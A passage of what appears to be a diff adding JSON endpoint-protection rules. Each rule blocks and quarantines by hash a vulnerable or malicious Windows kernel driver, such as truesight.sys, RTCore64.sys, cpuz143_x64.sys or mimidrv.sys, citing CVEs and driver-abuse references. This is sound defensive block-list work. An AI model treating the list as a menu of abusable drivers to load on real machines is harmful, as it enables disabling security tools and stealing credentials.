+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481358Z",
+  "creation_date": "2026-03-23T11:45:31.481362Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481372Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eba7f6ae36e0aaa7ade176acf1af218739dbf6c6a25a56e6b5ced1567a3f6db5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0df3d649-ac45-5a8c-8ce2-f59b43232a69",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495310Z",
+  "creation_date": "2026-03-23T11:45:31.495313Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495322Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "03eb25b9ffd3d58bb6f6c29d38697839ca871dfa211e42dddb19c6a84ec395f1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0df92180-5030-59d9-8fda-83d0caeca6f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610563Z",
+  "creation_date": "2026-03-23T11:45:29.610565Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610571Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8688e43d94b41eeca2ed458b8fc0d02f74696a918e375ecd3842d8627e7a8f2b",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0df9b8a5-4ddb-53ac-9b47-ec96b018b630",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826281Z",
+  "creation_date": "2026-03-23T11:45:30.826283Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826289Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b4876c029a6c88d98090beabfd5f6e1e5186824280224dc5178ad07427d737d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e04109e-55bb-5a15-aadb-805874a76252",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151108Z",
+  "creation_date": "2026-03-23T11:45:31.151110Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151116Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "99d42356eba7c7b6ee35797ee093d629649bd73dab14944f59ca89f354053c8d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e1ee81a-59b9-5759-b6dc-29932b4396f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606386Z",
+  "creation_date": "2026-03-23T11:45:29.606388Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606393Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6222ed7d921b84e4ffcfa6638861348033191a3cc350547f7dcfb8927040f0a4",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e3c2ad0-8fd5-58f1-bc1d-8af917413301",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477391Z",
+  "creation_date": "2026-03-23T11:45:30.477395Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477414Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "98ec7cc994d26699f5d26103a0aeb361128cff3c2c4d624fc99126540e23e97e",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e40e719-43f6-5139-9eea-7d3e975cbc0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606060Z",
+  "creation_date": "2026-03-23T11:45:29.606062Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606068Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ff39728f1c11d1108f65ec5eb3d722fd1a1279c530d79712e0d32b34880baaa",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e41b11a-7f28-55f4-af45-6f7eaa96ab8d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824886Z",
+  "creation_date": "2026-03-23T11:45:30.824890Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824899Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "178238d8a0b3e642aaafc2217cac9c9277420b2ef2b16302d10b7952b8054799",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e41fa7f-745a-5eaf-8a82-37c3b507223c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481658Z",
+  "creation_date": "2026-03-23T11:45:30.481660Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481666Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42b528fdde50a21afed0cbdc07a6cb9d22d421eb0228d4782f18d22a83873223",
+  "comment": "Vulnerable Kernel Driver (aka rtif.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e47cb8c-109e-5b59-bfae-ff4fd123196c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497707Z",
+  "creation_date": "2026-03-23T11:45:31.497709Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497715Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91808676497a3475557879cb44eda3e252f5170385e37c476629652324b9a512",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e4f2091-7067-5399-a99a-0a5443a242f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465985Z",
+  "creation_date": "2026-03-23T11:45:30.465988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465998Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0740359baef32cbb0b14a9d1bd3499ea2e770ff9b1c85898cfac8fd9aca4fa39",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e50c0b4-20e2-59d7-972f-12543adfa566",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828401Z",
+  "creation_date": "2026-03-23T11:45:30.828403Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828409Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9e21c38488850dada38cc727028ed84d56192003eac34ed12f59a389d30a3fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e541cd8-42be-5369-a6cf-bbc721b0f5a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813088Z",
+  "creation_date": "2026-03-23T11:45:31.813091Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813100Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91d8852011e6fc1a8ef8221a02357ce09f073d667d8eab9af269c5e22e7b1386",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e646631-85aa-54bf-87ae-4ccab2e177ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142220Z",
+  "creation_date": "2026-03-23T11:45:31.142222Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142228Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "624ccf6b462b82f89a8736f3269b57114ddaf714f809736c9962db06a17b6ce3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e6a6826-16d4-5870-9dfc-6aa6a1c7eda4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607346Z",
+  "creation_date": "2026-03-23T11:45:29.607348Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607353Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df0cc4e5c9802f8edaefeb130e375cad56b2c5490d8ebd77d8dbdcc6fdc7ecb6",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e6d7ecc-6ae1-5154-822e-04c4442a1fa3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808742Z",
+  "creation_date": "2026-03-23T11:45:31.808745Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808750Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dfafcdb644b4c02b78eaef05a352b824cad60c36f118bcb00fb3e3a9fdc8b60d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e6e2165-8dcf-56f9-99f0-b2da2e98b27c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455332Z",
+  "creation_date": "2026-03-23T11:45:30.455335Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455344Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b26c4678ecd37d1829513f41ff9e9df9ef1d1d6fea9e3d477353c90cc915291",
+  "comment": "Vulnerable Kernel Driver (aka VBoxUSB.Sys) [https://www.loldrivers.io/drivers/70fa8606-c147-4c40-8b7a-980290075327/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e73eafa-a53a-5ef0-85ba-a6998bac0c9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981472Z",
+  "creation_date": "2026-03-23T11:45:29.981474Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981479Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "edfc38f91b5e198f3bf80ef6dcaebb5e86963936bcd2e5280088ca90d6998b8c",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e85c7b8-e01f-5040-b48d-d58998131d7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608051Z",
+  "creation_date": "2026-03-23T11:45:29.608053Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608058Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c9829a16eb85272b0e1a2917feffaab8ddb23e633b168b389669339a0cee0b5",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e90f41d-55ed-5471-9feb-c20b9523d797",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829211Z",
+  "creation_date": "2026-03-23T11:45:31.829214Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829224Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f35f07641f662583754d8a1ad1a457c438cc6901ae9be6d4225f61e8c1c2d0cd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e912366-051c-56f7-93e4-fdbb0e28d490",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829610Z",
+  "creation_date": "2026-03-23T11:45:31.829612Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829618Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e9d032fc15f52433c9a7b5c079bcb110d61c87b004111617694221a58c6a98e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0e9e4053-9826-50b4-8a0e-495383ba544a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835892Z",
